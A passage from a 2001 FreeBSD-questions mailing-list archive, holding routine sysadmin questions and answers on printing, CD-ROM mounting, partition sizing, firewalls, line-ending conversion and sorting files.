kjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3du MQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQD Ex9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMwMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB iQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNEKYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y 8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtU ihOH/7ObnUlmAC0JieyUa+mhaQIDAQABo04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJp dmF0ZUxhYmVsMS0yOTcwEgYDVR0TAQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcN AQEEBQADgYEAcxtvJmWL/xU0S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONnt UPQ6bDSSrOaSnG7BIwHCCafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2 lhglTWr0ncXDkS+plrgFPFL83eliA0gwggMtMIIClqADAgECAgEAMA0GCSqGSIb3DQEBBAUAMIHR MQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24x GjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZp Y2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkq hkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNOTYwMTAxMDAwMDAwWhcN MjAxMjMxMjM1OTU5WjCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAG A1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2Vy dGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZy ZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMIGf MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUadfUsJRkW3HpR9gMUbbqcpGwhF59LQ2PexLfhSV1 KHQ6QixjJ5+Ve0vvfhmHHYbqo925zpZkGsIUbkSsfOaP6E0PcR9AOKYAo4d49vmUhl6t6sBeduvZ FKNdbnp8DKVLVX8GGSl/npom1Wq7OCQIapjHsdqjmJH9edvlWsQcuQIDAQABoxMwETAPBgNVHRMB Af8EBTADAQH/MA0GCSqGSIb3DQEBBAUAA4GBAMfskn5O+PWWpWdiKqTwTRFg0G+NYFhhrCa7UjVc CM8w+6hKloofYkIjjBcP9LpknBesRynfnZhe0mxgcVyirNx54+duAEcftQ0o6AKd5Jr9E/Sm2Xyx +NxfIyYJkYBz0BQb3kOpgyXy5pwvFcr+pquKB3WLDN1RhGvk+NHOd6KBMYIB/jCCAfoCAQEwgZow gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93 bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UE AxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAIDBbTwMAkGBSsOAwIaBQCggbowGAYJ KoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDExMTIwMTYxNTI5WjAjBgkq hkiG9w0BCQQxFgQUhUW55fVQMoj9yuWxDc+b5uRFgRMwWwYJKoZIhvcNAQkPMU4wTDAKBggqhkiG 9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwIC ASgwBwYFKw4DAh0wDQYJKoZIhvcNAQEBBQAEgYAh76rt5j63bZKimswj082/PIDP3sttohK+B/gy ZEsQR2rxPJKsY52RozuK5hk1qbmqTigiUlE8AX5XEiyMuelR74wTj/BC8QAR3IgQktcS2Nbo46tv CJHGp/+xqOloGeKIMRHUL1LXF2ktDG5oErxb9GzAjcnVbLEz6nnjWJcxGAAAAAAAAA== ------=_NextPart_000_02B1_01C171B4.A9716F00-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 8:22:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sdf.lonestar.org (sdf.lonestar.org [209.221.165.117]) by hub.freebsd.org (Postfix) with ESMTP id A994C37B417 for ; Tue, 20 Nov 2001 08:22:20 -0800 (PST) Received: (from thursday@localhost) by sdf.lonestar.org (8.11.6/8.11.6) id fAKGMJY03892 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 16:22:19 GMT Date: Tue, 20 Nov 2001 16:22:19 +0000 From: what ever To: freebsd-questions@freebsd.org Subject: re: lpd: only root can print Message-ID: <20011120162219.A28160@sdf.freeshell.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG More Info: If I create a new user, that user can use lpr fine. But existing users can't. I tried removing my username & re-adding (without remvoing my home dir) and I still can't use lpr as my normal username... Ideas? -- thursday@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 8:25:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from po4.wam.umd.edu (po4.wam.umd.edu [128.8.10.166]) by hub.freebsd.org (Postfix) with ESMTP id 9C9BB37B419 for ; Tue, 20 Nov 2001 08:25:15 -0800 (PST) Received: from sun08pg2.wam.umd.edu (IDENT:root@sun08pg2.wam.umd.edu [128.8.73.18]) by po4.wam.umd.edu (8.9.3/8.9.3) with ESMTP id LAA28449; Tue, 20 Nov 2001 11:25:13 -0500 (EST) Received: from sun08pg2.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by sun08pg2.wam.umd.edu (8.9.3/8.9.3) with SMTP id LAA27891; Tue, 20 Nov 2001 11:25:10 -0500 (EST) Received: from localhost (culverk@localhost) by sun08pg2.wam.umd.edu (8.9.3/8.9.3) with ESMTP id LAA27887; Tue, 20 Nov 2001 11:25:10 -0500 (EST) X-Authentication-Warning: sun08pg2.wam.umd.edu: culverk owned process doing -bs Date: Tue, 20 Nov 2001 11:25:10 -0500 (EST) From: Kenneth Wayne Culver To: Kutulu Cc: Anthony Atkielski , questions@FreeBSD.ORG Subject: Re: home pc use In-Reply-To: <02b501c171de$93484530$88682518@longhill1.md.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > XWin32 is a very nice Win32 server, that supports one feature of the X > system that I didn't find in other products. It can log into a remote > system running xdm (or clone) via XDMCP. The means you can connect > to, log into, and run applications on the remote system without having > to fire off a shell first and start any window managers. > Unfortunately, XWin32 runs about $250 for a single user lisence. I > haven't figured out how to do the same in XFree86 yet, but I also > didn't try very hard, as I now prefer to tunnel X stuff through my ssh > session. To do this in XFree86 simply type this on the commandline: X -query hostname -once This will do an XDMCP query to the machine "hostname" Change the hostname to query a different machine. Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 8:29:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web13104.mail.yahoo.com (web13104.mail.yahoo.com [216.136.174.149]) by hub.freebsd.org (Postfix) with SMTP id CA1F137B405 for ; Tue, 20 Nov 2001 08:29:36 -0800 (PST) Message-ID: <20011120162936.61653.qmail@web13104.mail.yahoo.com> Received: from [200.24.194.179] by web13104.mail.yahoo.com via HTTP; Tue, 20 Nov 2001 08:29:36 PST Date: Tue, 20 Nov 2001 08:29:36 -0800 (PST) From: GABRIEL BASTIDAS Subject: cdrom To: questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG i have mi atapi cdrom as slave in the primary interface. how to mount it? there is a command called mount9660, i remember, how to use it? __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 8:43:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pogo.caustic.org (caustic.org [64.163.147.186]) by hub.freebsd.org (Postfix) with ESMTP id D10FF37B405 for ; Tue, 20 Nov 2001 08:43:47 -0800 (PST) Received: from localhost (jan@localhost) by pogo.caustic.org (8.11.6/8.11.6) with ESMTP id fAKGhfg20985; Tue, 20 Nov 2001 08:43:41 -0800 (PST) (envelope-from jan@caustic.org) Date: Tue, 20 Nov 2001 08:43:41 -0800 (PST) From: "f.johan.beisser" X-X-Sender: To: Graham Lillico Cc: Subject: Re: Filesystem Sizes In-Reply-To: Message-ID: <20011120083608.T16958-100000@localhost> X-Ignore: This statement isn't supposed to be read by you X-TO-THE-FBI-CIA-AND-NSA: HI! HOW YA DOIN? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Graham Lillico wrote: > Hi, > > I'm setting up a File server it contains a 20gb disk which holds all the > system stuff and two 40Gb disks raided together to hold user home > directories, CVS repository, and the /usr/src and /usr/ports stuff so that I > can make them avaliable to all servers via NFS. > > The problem I have is I have no idea what size to make the /usr/ports and > /usr/src filesystems? Does anyone have any idea on a good ideal size I know > that /usr/ports is about 100Mb and that /usr/src is about 280Mb but how big > are they likely to get during kernel compiles etc. I did consider making > the whole disk the /usr filesystem but at 80Gb this seemed a bit excessive. i would suggest making a large /usr, and leaving /usr/ports and /usr/src inside of it. when you're building the world from /usr/src, it drops everything in to /usr/obj/.. which pretty much renders it useless to separate it all out on to a separate filesystem. what you could do, though, is set up a single partition to handle all the build and source code. this can (if set up on different disks) improve the amount of time it takes to do a make world. the next issue, is that /usr/ports stores all the port source code in /usr/ports/distfies. this alone can make /usr/ports bloat in some slightly unimaginable ways. > Also how may filesystem are you limited to per disk? And is vinum a good > option? to the best of my knowledge, there is no upper limit on partitions per disk. i don't care for vinum myself. software RAID isn't going to be as reliable as hardware. vinum just happens to be better than most versions of software RAID. -------/ f. johan beisser /--------------------------------------+ http://caustic.org/~jan jan@caustic.org "if my thought-dreams could be seen.. "they'd probably put my head in a gillotine" -- Bob Dylan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 8:47:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pogo.caustic.org (caustic.org [64.163.147.186]) by hub.freebsd.org (Postfix) with ESMTP id 450E537B405 for ; Tue, 20 Nov 2001 08:47:27 -0800 (PST) Received: from localhost (jan@localhost) by pogo.caustic.org (8.11.6/8.11.6) with ESMTP id fAKGkRX21022; Tue, 20 Nov 2001 08:46:27 -0800 (PST) (envelope-from jan@caustic.org) Date: Tue, 20 Nov 2001 08:46:27 -0800 (PST) From: "f.johan.beisser" X-X-Sender: To: GABRIEL BASTIDAS Cc: Subject: Re: cdrom In-Reply-To: <20011120162936.61653.qmail@web13104.mail.yahoo.com> Message-ID: <20011120084352.W16958-100000@localhost> X-Ignore: This statement isn't supposed to be read by you X-TO-THE-FBI-CIA-AND-NSA: HI! HOW YA DOIN? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, GABRIEL BASTIDAS wrote: > i have mi atapi cdrom as slave in the primary > interface. > how to mount it? > there is a command called mount9660, i remember, > > how to use it? start with the mount(8) man page. then read the related ones: mount_cd9660(8) - mount an ISO-9660 filesystem mount_ext2fs(8) - mount an ext2fs file system mount_msdos(8) - mount an MS-DOS file system mount_nfs(8) - mount nfs file systems mount_ntfs(8) - mount an NTFS file system mount_null(8) - mount a loopback filesystem sub-tree; demonstrate the use of a null file system layer mount_nwfs(8) - mount NetWare volume from a NetWare file server mount_portal(8) - mount the portal daemon mount_std(8), mount_fdesc(8), mount_kernfs(8), mount_linprocfs(8), mount_procfs(8) - mount ``standard'' filesystems mount_umap(8) - sample file system layer mount_union(8) - mount union filesystems To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 8:49:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156]) by hub.freebsd.org (Postfix) with ESMTP id BFDB237B41B for ; Tue, 20 Nov 2001 08:49:42 -0800 (PST) Received: from be-well.ilk.org (lowellg.ne.mediaone.net [24.147.188.158]) by chmls20.mediaone.net (8.11.1/8.11.1) with ESMTP id fAKGofx27713; Tue, 20 Nov 2001 11:50:45 -0500 (EST) Received: (from lowell@localhost) by be-well.ilk.org (8.11.6/8.11.4) id fAKGnUn04186; Tue, 20 Nov 2001 11:49:30 -0500 (EST) (envelope-from lowell) To: freebsd-questions@freebsd.org, paulius@kaktusas.org Subject: Re: installing minimal freebsd References: <20011120112209.GA98619@noname> From: Lowell Gilbert Date: 20 Nov 2001 11:49:29 -0500 In-Reply-To: paulius@kaktusas.org's message of "Tue, 20 Nov 2001 11:22:22 +0000 (UTC)" Message-ID: <44snb9qteu.fsf@lowellg.ne.mediaone.net> Lines: 20 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG paulius@kaktusas.org (Paulius Bulotas) writes: > I'm quite new to FreeBSD, and want to ask, is there any way to install only components which I really need (for example, no sendmail, no named, no kerberos and so on)? No. If it's in the base system (as the first two of those are), you can't install without it. There is a good argument that those don't really need to be in the base system in the first place, but nobody has done the work to unpeel them from the rest of the base system. > And whats the idea of having openssl port, if there is openssl in main distribution (which is hardly to be left uninstalled, because all ports which depend on openssl, require one from base system, not from ports?) The port is for older FreeBSD systems which either don't have openssl in their base systems, or have an earlier version of it. The port lets such systems get an openssl update without needing to change the rest of the OS itself. And you're wrong about the dependencies; ports which depend on openssl will generally use the version installed by ports in preference to the version in the base system, if both are present. Good luck. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9: 6:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axel.truedestiny.net (b76168.upc-b.chello.nl [212.83.76.168]) by hub.freebsd.org (Postfix) with ESMTP id 13B2437B405 for ; Tue, 20 Nov 2001 09:06:46 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by axel.truedestiny.net (Postfix) with ESMTP id 6710249A24; Tue, 20 Nov 2001 18:06:43 +0100 (CET) Received: by axel.truedestiny.net (Postfix, from userid 1000) id DF3C349A23; Tue, 20 Nov 2001 18:06:40 +0100 (CET) Date: Tue, 20 Nov 2001 18:06:40 +0100 From: Axel Scheepers To: Walter Hop Cc: Axel Scheepers , Chris Appleton , freebsd-questions@freebsd.org Subject: Re: NAT security Message-ID: <20011120180640.B87336@mars.thuis> Reply-To: Axel Scheepers References: <917DCA667947D4118E2100AA00BAEA6E1ABC06@vonneumann.emailtopia.com> <83141508858.20011119162408@binity.com> <20011119235600.A1904@mars.thuis> <1989602727.20011120023836@binity.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <1989602727.20011120023836@binity.com>; from walter@binity.com on Tue, Nov 20, 2001 at 02:38:36AM +0100 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 02:38:36AM +0100, Walter Hop wrote: > Thanks for the info! I never did care to look at it. Do you think the > efficiency gain is noticable for a node with relatively few firewalling > rules as well? > Yes I do; since the packets don't need to be copied from kernel to userland there's already a speedup. This is more traffic depending then rule depending since every packet needs to be copied when you use ipfw. With a clever ruleset (use quick to simulate sort of ipfw behavior) the use of ipfilter does improve speed, i.e. at home my 486 box went from a average load of 0.35-0.40 (using ipfw, at peaks 1.00) to an average of 0.1, just by changing from ipfw/natd to ipfilter/ipnat. I should give it try if I were you; It won't harm anyone and if you're not satisfied use ipfw again. :) -- Axel Scheepers UNIX System Administrator email: axel@axel.truedestiny.net ascheepers@vianetworks.nl http://axel.truedestiny.net/~axel ------------------------------------------ There are three kinds of lies: Lies, Damn Lies, and Statistics. -- Disraeli ------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9: 7:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from k2.synapseglobal.com (k2.synapseglobal.com [208.186.204.20]) by hub.freebsd.org (Postfix) with SMTP id E76E637B416 for ; Tue, 20 Nov 2001 09:07:43 -0800 (PST) Received: (qmail 5625 invoked by uid 0); 20 Nov 2001 16:53:16 -0000 Received: from unknown (HELO office) (65.26.42.164) by 0 with SMTP; 20 Nov 2001 16:53:16 -0000 Message-ID: <000d01c171e5$e7576b40$0300a8c0@kc.rr.com> From: "Carl F Baum" To: Subject: ATAPI CD-ROM 8X Date: Tue, 20 Nov 2001 11:07:57 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000A_01C171B3.9C477D20" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C171B3.9C477D20 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable I am having trouble installing the CD of free bsd that I have. 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------=_NextPart_000_000A_01C171B3.9C477D20-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:16:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail2.resfeber.se (Resfeber-gw.customer.internet5.net [195.66.48.230]) by hub.freebsd.org (Postfix) with ESMTP id 5A14637B417 for ; Tue, 20 Nov 2001 09:16:06 -0800 (PST) Received: from resfeber.se ([212.75.72.9]) by mail2.resfeber.se (8.9.3/8.9.3) with ESMTP id UAA32766; Tue, 20 Nov 2001 20:16:43 +0100 Message-ID: <3BFA8F1E.D57F71DB@resfeber.se> Date: Tue, 20 Nov 2001 18:13:02 +0100 From: Jon Molin X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Carl F Baum Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ATAPI CD-ROM 8X References: <000d01c171e5$e7576b40$0300a8c0@kc.rr.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Carl F Baum wrote: > > I am having trouble installing the CD of free bsd that I have. My > CD-Rom is ATAPI CD-ROM 8X and wont boot up. > > I have tried ti make floppies and the boot hangs up at the same place > as the CD does. where's that? > > Can you provide any guidance? > > Thank you, > Carl Baum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:16:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from grumpy.dyndns.org (user-24-214-92-93.knology.net [24.214.92.93]) by hub.freebsd.org (Postfix) with ESMTP id 8F7B337B405 for ; Tue, 20 Nov 2001 09:16:07 -0800 (PST) Received: (from dkelly@localhost) by grumpy.dyndns.org (8.11.6/8.11.6) id fAKHFix53044; Tue, 20 Nov 2001 11:15:44 -0600 (CST) (envelope-from dkelly) Date: Tue, 20 Nov 2001 11:15:44 -0600 From: David Kelly To: "f.johan.beisser" Cc: Graham Lillico , freebsd-questions@FreeBSD.ORG Subject: Re: Filesystem Sizes Message-ID: <20011120111544.A53024@grumpy.dyndns.org> References: <20011120083608.T16958-100000@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120083608.T16958-100000@localhost>; from jan@caustic.org on Tue, Nov 20, 2001 at 08:43:41AM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 08:43:41AM -0800, f.johan.beisser wrote: > > i would suggest making a large /usr, and leaving /usr/ports and /usr/src > inside of it. when you're building the world from /usr/src, it drops > everything in to /usr/obj/.. which pretty much renders it useless to > separate it all out on to a separate filesystem. Is very easy to make /usr/obj/ a separate fs. Even easier (and what I do) is to make /usr/obj/ a symbolic link to a directory on another physical disk. Usually the same as where I host /home/ncvs/ which is probably also another symbolic link. This way cvs updates from /home/ncvs/ drive to the /usr/src/ drive and has two spindles seeking in parallel. Then when building /usr/src/ is mostly read while mostly writing to /usr/obj/, once again two spindles seeking. "make installworld" once again pulls from one drive to write back to another. Not that this complexity really matters but has been 10% to 20% faster the few times I've tried benchmarking. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:20:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sushi.linuxforlesbians.org (cc265612-b.albqrq1.nm.home.com [67.165.160.99]) by hub.freebsd.org (Postfix) with ESMTP id 1966037B417 for ; Tue, 20 Nov 2001 09:20:43 -0800 (PST) Received: by sushi.linuxforlesbians.org (Postfix, from userid 1001) id 432F81939; Tue, 20 Nov 2001 10:22:21 -0700 (MST) Date: Tue, 20 Nov 2001 10:22:21 -0700 From: Peter Sanchez To: freebsd-questions@freebsd.org Subject: Re: Dos2Unix Message-ID: <20011120102221.B56969@sushi.linuxforlesbians.org> References: <20011120145239.D775@aviion.alfred.cx> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="VS++wcV0S1rZb1Fb" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120145239.D775@aviion.alfred.cx>; from andrew.reid@plug.cx on Tue, Nov 20, 2001 at 02:52:39PM +1030 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Ya, unix2dos is nifty, I just wrote a small shell script to do it for me. Here it is #!/bin/sh # # syntax: strip.sh filename # if [ "$#" -ne 1 ]; then echo "Usage: $0 input_file_name" exit 1 fi if [ -f $1 ]; then tr -d '\r' < $1 > $1.$$ mv $1.$$ $1 echo "Done! You can now open $1" exit 0 else echo "Error: $1 does not exist." exit 1 fi Just if anyone finds it useful :) Peter On Tue, Nov 20, 2001 at 02:52:39PM +1030, Andrew Reid wrote: > On Mon, Nov 19, 2001 at 07:59:54PM -0800, Ben Witkowski wrote: >=20 > > most unix systems have a dos2unix utility that removes the trailing ^M > > characters from each line. is there a comprable tool for FreeBSD, or d= oes > > anyone know where to find the binaries (or a script) to do the job? >=20 > # cd /usr/ports/converters/unix2dos > # make > # make install >=20 > - andrew >=20 > --=20 > Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem = =20 > andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane= =20 > +61 401 946 813 mittam" = =20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message --=20 Peter Sanchez, aka fut0n | "The ability to read is what - fut0n@linuxforlesbians.org | distinguishes Unix users from - www.linuxforlesbians.org | those of more popular platforms." - FreeBSD or DIE | - John Lasser --VS++wcV0S1rZb1Fb Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjv6kUwACgkQQ2cuXVjoDlv4MwCfcGCv6NgIXjvz3cBfstzb3/it fjcAnjgh0C6GGMgXuhuZT3PqxNcuurV4 =baP6 -----END PGP SIGNATURE----- --VS++wcV0S1rZb1Fb-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:25:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from goliath.siemens.de (goliath.siemens.de [194.138.37.131]) by hub.freebsd.org (Postfix) with ESMTP id C4A8337B419 for ; Tue, 20 Nov 2001 09:25:41 -0800 (PST) Received: from mail2.siemens.de (mail2.siemens.de [139.25.208.11]) by goliath.siemens.de (8.11.6/8.11.6) with ESMTP id fAKHPcl28081; Tue, 20 Nov 2001 18:25:39 +0100 (MET) Received: from mars.cert.siemens.de (ust.mchp.siemens.de [139.23.201.17]) by mail2.siemens.de (8.11.6/8.11.6) with ESMTP id fAKHPcg14666; Tue, 20 Nov 2001 18:25:38 +0100 (MET) Received: from reims.mchp.siemens.de (alaska [139.23.202.134]) by mars.cert.siemens.de (8.12.1/8.12.1/Siemens CERT [ $Revision: 1.18 ]) with ESMTP id fAKHPchK031540; Tue, 20 Nov 2001 18:25:38 +0100 (CET) Received: from reims.mchp.siemens.de (localhost [127.0.0.1]) by reims.mchp.siemens.de (8.12.1/8.12.1/alaska [ $Revision: 1.10 ]) with ESMTP id fAKHPchr041615; Tue, 20 Nov 2001 18:25:38 +0100 (CET) Received: (from ust@localhost) by reims.mchp.siemens.de (8.12.1/8.12.1/alaska [ $Revision: 1.2 ]) id fAKHPYgj041614; Tue, 20 Nov 2001 18:25:34 +0100 (CET) Date: Tue, 20 Nov 2001 18:25:34 +0100 From: Udo Schweigert To: Wayne Pascoe Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Sort Message-ID: <20011120172533.GA41469@alaska.cert.siemens.de> References: <86r8qt7gjq.fsf@pan.ehsrealtime.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <86r8qt7gjq.fsf@pan.ehsrealtime.com> User-Agent: Mutt/1.3.23.2i X-Operating-System: FreeBSD 4.4-STABLE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 12:50:01 +0000, Wayne Pascoe wrote: > Hi all, > > I have a cvs file as follows : > > id,first_name,last_name,company_name > > I want to sort this on first name. Doing > cat file.csv | sort > sorts starting at the beginning of the line. sort -t , -k 2 < file.csv ("man sort" is your friend ;-) Best regards -- Udo Schweigert, Siemens AG | Voice : +49 89 636 42170 CT IC 3, Siemens CERT | Fax : +49 89 636 41166 D-81730 Muenchen / Germany | email : udo.schweigert@siemens.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:39:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from webs1.accretive-networks.net (webs1.accretive-networks.net [207.246.154.13]) by hub.freebsd.org (Postfix) with ESMTP id 2DBFF37B41A for ; Tue, 20 Nov 2001 09:39:37 -0800 (PST) Received: from localhost (davidk@localhost) by webs1.accretive-networks.net 